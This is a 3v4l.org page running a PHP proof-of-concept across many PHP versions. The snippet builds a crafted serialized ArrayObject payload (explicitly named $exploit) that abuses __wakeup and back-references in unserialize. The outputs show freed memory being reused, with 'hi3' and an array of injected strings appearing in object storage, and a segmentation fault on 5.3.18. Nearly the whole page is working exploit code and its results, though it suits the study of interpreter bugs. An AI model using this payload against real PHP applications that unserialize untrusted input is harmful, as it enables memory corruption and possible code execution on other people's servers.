3v4l.org

run code in 200+ php & hhvm versions
Bugs & Features
<?php class test { var $ryat; function __wakeup() { $this->ryat = 'ryat'; } } $inner = 'x:i:0;O:4:"test":1:{s:4:"ryat";R:3;};m:a:1:{i:0;R:2;}'; $exploit = 'C:11:"ArrayObject":'.strlen($inner).':{'.$inner.'}'; $data = unserialize($exploit); for($i = 0; $i < 5; $i++) { $v[$i] = 'hi'.$i; } var_dump($data);
based on Bp8mC
Output for 7.0.20 - 7.2.0
Fatal error: Uncaught UnexpectedValueException: Error at offset 36 of 53 bytes in /in/EpJhl:15 Stack trace: #0 [internal function]: ArrayObject->unserialize('x:i:0;O:4:"test...') #1 /in/EpJhl(15): unserialize('C:11:"ArrayObje...') #2 {main} thrown in /in/EpJhl on line 15
Process exited with code 255.
Output for 7.0.0 - 7.0.6
object(ArrayObject)#1 (2) { [0]=> int(0) ["storage":"ArrayObject":private]=> &string(4) "ryat" }
Output for 5.6.28
Fatal error: Uncaught exception 'UnexpectedValueException' with message 'Error at offset 36 of 53 bytes' in /in/EpJhl:15 Stack trace: #0 [internal function]: ArrayObject->unserialize('x:i:0;O:4:"test...') #1 /in/EpJhl(15): unserialize('C:11:"ArrayObje...') #2 {main} thrown in /in/EpJhl on line 15
Process exited with code 255.
Output for 5.4.44 - 5.4.45, 5.5.28 - 5.5.35, 5.6.12 - 5.6.21
object(ArrayObject)#1 (2) { [0]=> int(0) ["storage":"ArrayObject":private]=> string(4) "ryat" }
Output for 5.4.2 - 5.4.43, 5.5.24 - 5.5.27, 5.6.8 - 5.6.11
object(ArrayObject)#1 (2) { [0]=> string(3) "hi3" ["storage":"ArrayObject":private]=> string(4) "ryat" }
Output for 5.3.19 - 5.3.29
object(ArrayObject)#1 (2) { [0]=> array(5) { [0]=> string(3) "hi0" [1]=> string(3) "hi1" [2]=> string(3) "hi2" [3]=> string(3) "hi3" [4]=> string(3) "hi4" } ["storage":"ArrayObject":private]=> string(4) "ryat" }
Output for 5.3.18
object(ArrayObject)#1 (2) { [0]=> array(5) { [0]=> string(3) "hi0" [1]=> string(3) "hi1" [2]=> string(3) "hi2" [3]=> string(3) "hi3" [4]=> string(3) "hi4" } ["storage":"ArrayObject":private]=> string(4) "ryat" }
Process exited with code 139.